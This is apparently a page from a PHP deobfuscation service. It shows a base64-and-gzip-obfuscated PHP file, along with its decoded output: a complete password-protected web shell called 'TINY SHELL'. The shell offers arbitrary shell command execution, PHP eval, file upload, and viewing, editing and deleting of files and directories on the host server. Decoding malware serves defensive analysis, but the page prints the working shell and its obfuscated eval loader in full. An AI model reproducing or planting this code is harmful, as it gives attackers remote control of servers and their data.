Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php session_start(); $s_='eNqVUk1PAjEQvZvwH6pcqStgNOl+xGDcaEQPakwwXLrbgW3stqRbhNV1f7st..
Decoded Output download
b'<html>
<title>||TINY SHELL ||</title>
<style>
body { background-color:#000000; color:white; font-family:Verdana; font-size:11px; }
input,textarea,select { color:#FFFFFF; background-color:#2F2F2F; border:1px solid #4F4F4F; font-family:Verdana; font-size:11px; }
textarea { font-family:Courier; font-size:11px; }
a { color:#6F6F6F; text-decoration:none; font-family:Verdana; font-size:11px; }
a:hover { color:#7F7F7F; }
td,th { font-size:12px; vertical-align:middle; }
th { font-size:13px; }
table { empty-cells:show;}
.inf { color:#7F7F7F; }
</style>
<!--Made By ~~R@Z~~"-->
<center>
<hr><b>==\3KB TINY SHELL BY ~~R@Z~~//==<hr>'if(md5($_POST['pass'])==$pass){
session_start();
$_SESSION['pass']=$pass;
}
session_start();
if(isset($_SESSION['pass'])==$pass){
if(isset($_GET['dir'])){
$path = $_GET['dir'];
}else
{ $path = getcwd();
}
$path = str_replace('\','/',$path);
$url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'].$_SERVER['QUERY_STRING'];
$ip = $_SERVER['REMOTE_ADDR'];$server = $_SERVER['SERVER_ADDR'];$file=$_SERVER['PHP_SELF'];
if(ini_get('safe_mode')){
$Safe="ON";
}else{
$Safe="OFF";
}
$bytes = disk_free_space("."); $si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );$base = 1024;$class = min((int)log($bytes , $base) , count($si_prefix) - 1);$size=sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class];$remove_file = $_GET['rfile'];$file = $_SERVER['PHP_SELF'];$eval=stripslashes($_POST['eval']);$exec = stripslashes($_POST['exec']);$vfile = $_GET['vfile'];$fedit = $_GET['fedit'];$uname = @php_uname('a');$sp="  ";$mkdir = $_GET['mkdir'];
if(isset($mkdir)){
$mkdir=$path."/".$_GET['mkdir'];
}
$rmdir = $_GET['rmdir'];
$us=get_current_user();
echo <<<KARNA
<hr>==\Basic Functions//==<hr><br></center>SYSTEM~:$uname$sp;<br><br>USER~:$us$sp;Free Space:$size$sp;Server IP:$server$sp;Client IP:$ip$sp$sp;SAFE MODE=$Safe</B>$sp$sp\<a href="$file?exit">Logout</a>//<br><br><form method="post" action=$url>Shell Exec: <input type="text" name="exec"><input type="submit" value="Exec"></form><form method="post" action=$url>Eval(PHP): <input type="text" name="eval"><input type="submit" value="Execute"></form><form method="get" action=$url>Create Dir:<input type="text" name="mkdir"><input type="hidden" name="dir" value="$path"><input type="submit" value="Create"></form><form enctype="multipart/form-data" method="post" action="#">Upload File: <input type="file" name="upload"><input type="submit" value="Upload"></form>$sp;$sp;<center></form><br><hr>==\FILE MANAGER//== <hr><table><tr><th>$sp$sp File Name$sp$sp</th><th>Delete</th><th>View File</th><th>Edit File</th><th>File Size</th><th>Perm</th><form method="get" action=$url><br><br>Change Dir:$sp<input type="text" name="dir" value=$path><input type="submit" value="Change"></form><br><br>
KARNA;
if(isset($path))
{
chdir($path);
}
foreach (glob("*") as $files)
{
$perms = substr(sprintf('%o', fileperms($files)), -4);
$fsize=filesize("$files")/1024;
$fsize = round($fsize,1);
if($fsize >= 1024){
$fsize = round($fsize/1024,2)." MB";
}else
{
$fsize = $fsize." KB";
}
if(is_file($files))
{
if(isset($path))
{
echo "<tr><td><a href=$file?vfile=$files&dir=$path>$files$sp</a></td>";
echo "<td><a href=$file?rfile=$files&dir=$path>Remove$sp</a></td>";
echo "<td><a href=$file?vfile=$files&dir=$path>View$sp</a></td>";
echo "<td><a href=$file?fedit=$files&dir=$path>Edit$sp</a></td>";
echo "<td>Size-$fsize$sp</td>";
echo "<td>$perms$sp</td></tr>";
}
else
{
echo "<tr><td><a href=$file?vfile=$files&dir=$path>$files$sp</a></td>";
echo "<td><a href=$file?rfile=$files&dir=$path>Remove$sp</a></td>";
echo "<td><a href=$file?vfile=$files&dir=$path>View$sp</a></td>";
echo "<td><a href=$file?fedit=$files&dir=$path>Edit$sp</a></td>";
echo "<td>Size-$fsize$sp</td>";
echo "<td>$perms$sp</td></tr>";
}
}
if(is_dir($files))
{
if(isset($path))
{
echo "<tr><td><a href=$file?dir=$path/$files>$files$sp</td>";
echo "<td><a href=$file?rmdir=$files&dir=$path>Remove$sp</a></td>";
echo "<td><a href=$file?dir=$files>Open$sp</td><td>Directory$sp</td>";
echo "<td>Directory$sp</td>";
echo "<td>$perms$sp</td></tr>";
}
else
{
echo "<tr><td><a href=$files>$files$sp&dir=$path</a></td>";
echo "<td><a href=$file?rmdir=$files&dir=$path>Remove$sp</a></td>";
echo "<td><a href=$file?dir=$files>Open</td><td>Directory$sp</td>";
echo "<td>Directory$sp</td>";
echo "<td>$perms$sp</td></tr>";
}
}
}
echo "</table>";
if(isset($remove_file) and is_writable($remove_file))
{
if(unlink($remove_file))
{
Echo("Deleted->$remove_file");
}
}
if(isset($_FILES['upload']))
{
$tmp = $_FILES['upload']['tmp_name'];
$up = basename($_FILES['upload']['name']);
if(move_uploaded_file($tmp,$path."/".$up))
{
echo "SUCCESSFULLY UPLOADED";
}
}
if(isset($exec))
{
$execute = shell_exec($exec);
echo ("<hr><hr><font size=\"3\">Executed Output-".$execute."</font>");
}
if(isset($eval))
{
eval("$eval");
}
if(isset($vfile) and is_readable($vfile))
{
$text=htmlentities(file_get_contents($vfile));
echo "<textarea rows=\"25\" cols=\"100\" name=\"text\">$text</textarea>";
}
if(isset($fedit) and is_writable($fedit))
{
$text = htmlspecialchars(file_get_contents($fedit));
echo "<form method=\"post\" action=\"\">";
echo "<br><center>";
echo "<textarea rows=\"25\" cols=\"100\" name=\"text\">$text</textarea>";
echo "<br><input type=\"submit\" value=\"Edit And Save\"></form></center>";
if(file_exists($fedit))
{
if(isset($_POST['text'])){
$write =fopen($fedit,'w');
$new_text = stripslashes($_POST['text']);
if(fwrite($write,$new_text)){
echo '<font color="green">Edit File Done.</font><br />';
}
else{
echo '<font color="red">Edit File Failed.</font><br />';
}
fclose($write);
}
}
}
if(isset($mkdir))
{
mkdir($mkdir, 0777, true);
echo "Dir Made ";
}
if(isset($rmdir))
{
if(rmdir($rmdir))
{
echo "Directory ".$rmdir."->Deleted";
}
else{
echo " Directory Not empty :'(";
}
}
if(isset($_GET['exit'])){
unset($_SESSION['pass']);
header('Location: '.$_SERVER['PHP_SELF']);
exit();
}
}
else{
echo '<form action="" method="post">Pass=><input type="password" name="pass"><input type="submit" value="Go"></form>';
}
Did this file decode correctly?
Original Code
<?php
session_start();
$s_='eNqVUk1PAjEQvZvwH6pcqStgNOl+xGDcaEQPakwwXLrbgW3stqRbhNV1f7stywZiOOjMZTpv3nvTpkFmchF1jgLDjYCoql7uHifo+fZmPEZVFXhN2+KFKTdFoliJvlBC0/e5VkvJcKqE0qR7tgkfNcdVxg34aKakwTOac1GSV9CMSrptFvwTSL+/WPvou3PE5WJpegbWhmqgvQIEpMbabLXjTfgHXAexS4sozUATq4cKJThD3fPY5d9XaM2t6z7lWi01B32QQncbXsQufeRUMINUaWq4kkQq+Y9noCRTH6B3spexy2Y/1jNZu1xDGzianTc8pQJTweeS5JwxAQ3j1/iwvSlNBFgI8oUpcQpCFKTI1Mq32CmXs4P2gdf+gOAY4wfKAI1KVNdPV291fYKxA1KQBrSrMh0FSRSG0+nwfoT2/tRo0nI8Lwzd3A8RvdKd';
echo(gzuncompress(base64_decode($s_)));
error_reporting(0);
ob_start();
//TINY SHELL v1.0 By ~~R@Z~~
$pass='83fe374b531acc087ca01b2c65845389';// Default Pass is raz (Change It )
$sh='eNrtWG1v4zYS/pwA+Q88VlfJhWNtti0WsC33nEROg83bWUmBbbQQFIuOhJUlQaSczRW5397hkJJlx8m2114/NbFlcTgzHM48Qw6ZzK1F9L1lBFeX3vWtWYScmx87jmPIt84ve7s7nHGe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evXRa1Psfoeg2e8cMn8VXVrt2wDT6IP4PDJW7NHv7USU90wSEP0DR34VDobYDzPYUHTgl3zwVQoNjL2EGivb72t0LoGOgvnqM1SSruNtLo72NnBOZsqF8BheQkHBDiWZ3R1xCDHecZ6OgPAO8QemRLdeCW4o6+rtqsqWdRWNAnhGb2oaj5Lc16bqjNtM+X1xYdKOGxoWpe8effuXZeIskJZZQ6FVZ6cwwJE6Gbm4g7UXnWR0KLXWyBpNKn9gsDCgEw9uq9PatHG/tlez0DBSvQiFwRvRUnftLYvauqCRt5Z1He2Vbb9xlfOMoZVhJWWeZbPQpk0fWL2tl2CKZeAUmvl2NrSJnCQivVBeuOAPbqCIZ31o5604iEvo/pgKNuvn6VP8iZXZNiffgWFMCKS';
eval(gzuncompress(base64_decode($sh)));
?>
<hr><hr>==========Thanks For Using.============</body>
</html>
Function Calls
ob_start | 1 |
gzuncompress | 2 |
base64_decode | 2 |
session_start | 1 |
error_reporting | 1 |
Stats
MD5 | 34e5c999b67241165c5954b252dd3f8d |
Eval Count | 1 |
Decode Time | 63 ms |